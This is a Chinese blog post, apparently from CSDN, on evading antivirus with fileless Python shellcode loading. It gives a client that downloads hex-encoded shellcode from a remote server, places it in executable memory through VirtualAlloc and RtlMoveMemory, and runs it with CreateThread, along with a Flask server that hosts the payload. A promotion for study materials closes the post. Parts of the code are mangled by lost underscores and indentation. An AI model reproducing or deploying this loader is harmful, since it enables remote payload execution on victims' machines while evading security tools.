Python shellcode免杀无文件落地_文件不落地免杀

response = requests.get(server_url)

检查响应状态码是否为200,表示请求成功

if response.status_code == 200:
# 从响应中获取文件内容
file_content = response.text
# 在内存中使用文件内容,例如打印文件内容
print(file_content)
print(type(file_content))
# 去除开头的 “\x” 并分割字符串
hex_values = file_content.split(“\x”)[1:]
print(hex_values)
print(type(hex_values))

hex_list = hex_values

# 获取最后一个元素
last_element = hex_list[-1]
# 替换不正常的字符
new_last_element = last_element.replace('\"\r\n', '')
# 将替换后的元素放回列表
hex_list[-1] = new_last_element

# 将十六进制字符串列表转换为十六进制字符串
hex_string = "".join(hex_list)
hex_string = hex_string.rstrip('"')

print(type(hex_string))
print(hex_string)

# 将十六进制字符串转换为字节数组
byte_array = bytearray.fromhex(hex_string)
print(byte_array)
print(type(byte_array))

shellcode = byte_array
# VirtualAlloc函数用来开辟内存空间,返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

# RtlMoveMemory函数将Shellcode加载至此段内存空间
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)

# 使用CreateThread函数创建一个线程从Shellcode的起始地址开始执行此段内存空间的内容
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)

# 通过WaitForSingleObject函数来等待执行结束
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

else:
print(‘Failed to retrieve file:’, response.status_code)



服务器端存payload:


![](https://img-blog.csdnimg.cn/direct/a4a8d596924947298af7236fd24fd5d3.png)


服务器后端:


(需安装flask框架)



#服务器:
from flask import Flask, send_file
app = Flask(name)
@app.route(‘/hello.txt’)
def hello():
return send_file(‘hello.txt’)
if name == ‘main’:
app.run(host=‘0.0.0.0’, port=80)

## 最后

**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**

**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**

![img](https://img-blog.csdnimg.cn/img_convert/303ac5f6e5ffefbac56c0ca96bca057f.png)

![img](https://img-blog.csdnimg.cn/img_convert/b88e80910481fcf1e7b90a9bab409e65.png)

![img](https://img-blog.csdnimg.cn/img_convert/7fad8ce32f017b052eaa24b18f1cc8e5.png)

![img](https://img-blog.csdnimg.cn/img_convert/73e00083ba4dbbb28eef511cf14e824f.png)

![img](https://img-blog.csdnimg.cn/img_convert/33895b9ab11006e95e4f49c3295122fe.png)

 

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**

**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值